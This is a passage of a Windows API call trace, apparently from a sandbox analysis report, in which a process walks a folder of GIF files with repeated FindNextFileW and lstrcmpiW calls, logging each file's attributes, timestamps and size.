ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14753_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14753_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14754_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14754_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd2f700, ftCreationTime.dwHighDateTime=0x1bd4f43, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fd2f700, ftLastWriteTime.dwHighDateTime=0x1bd4f43, nFileSizeHigh=0x0, nFileSizeLow=0x44, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14755_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14755_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14756_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14756_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14757_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14757_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14790_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14790_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14791_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14791_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14792_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14792_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14793_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14793_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14794_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14794_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14795_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14795_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14795_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14828_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14828_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14828_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14829_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14829_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14830_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14830_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14830_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14831_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14831_.GIF", lpString2=".") returned 1 [0097.667] lstrcmpiW (lpString1="BD14831_.GIF", lpString2="..") returned 1 [0097.667] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14832_.GIF", cAlternateFileName="")) returned 1 [0097.667] lstrcmpiW (lpString1="BD14832_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14832_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14833_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14833_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1796d500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1796d500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14866_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14866_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14867_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14867_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14868_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14868_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14868_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14869_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14869_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14869_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14870_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14870_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14870_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14871_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14871_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3a5000, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c3a5000, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14980_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14980_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b7d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d6b7d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14981_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14981_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56d8700, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc56d8700, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14982_.GIF", cAlternateFileName="")) returned 1 [0097.668] lstrcmpiW (lpString1="BD14982_.GIF", lpString2=".") returned 1 [0097.668] lstrcmpiW (lpString1="BD14982_.GIF", lpString2="..") returned 1 [0097.668] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43c5a00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc43c5a00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14983_.GIF", cAlternateFileName="")) returned 1 [0097.669] lstrcmpiW (lpString1="BD14983_.GIF", lpString2=".") returned 1 [0097.669] lstrcmpiW (lpString1="BD14983_.GIF", lpString2="..") returned 1 [0097.669] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30b2d00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc30b2d00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14984_.GIF", cAlternateFileName="")) returned 1 [0097.669] lstrcmpiW (lpString1="BD14984_.GIF", lpString2=".") returned 1 [0097.669] lstrcmpiW (lpString1="BD14984_.GIF", lpString2="..") returned 1 [0097.669] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1da0000, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1da0000, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14985_.GIF", cAlternateFileName="")) returned 1 [0097.669] lstrcmpiW (lpString1="BD14985_.GIF", lpString2=".") returned 1 [0097.669] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="..") returned 1 [0097.669] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57254000, ftCreationTime.dwHighDateTime=0x1bd5ec1, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57254000, ftLastWriteTime.dwHighDateTime=0x1bd5ec1, nFileSizeHigh=0x0, nFileSizeLow=0x40f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15018_.GIF", cAlternateFileName="")) returned 1 [0097.669] lstrcmpiW (lpString1="BD15018_.GIF", lpString2=".") returned 1 [0097.669] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="..") returned 1 [0097.669] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb99900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bb99900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15019_.GIF", cAlternateFileName="")) returned 1 [0097.669] lstrcmpiW (lpString1="BD15019_.GIF", lpString2=".") returned 1 [0097.669] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="..") returned 1 [0097.669] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dcdc00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83dcdc00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15020_.GIF", cAlternateFileName="")) returned 1 [0097.669] lstrcmpiW (lpString1="BD15020_.GIF", lpString2=".") returned 1 [0097.669] lstrcmpiW (lpString1="BD15020_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82abaf00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82abaf00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15021_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15021_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15021_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a8200, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x817a8200, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15022_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15022_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15022_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80495500, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80495500, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15023_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15023_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15056_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15056_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15057_.GIF", cAlternateFileName="")) returned 1 [0097.670] lstrcmpiW (lpString1="BD15057_.GIF", lpString2=".") returned 1 [0097.670] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="..") returned 1 [0097.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9724a400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9724a400, 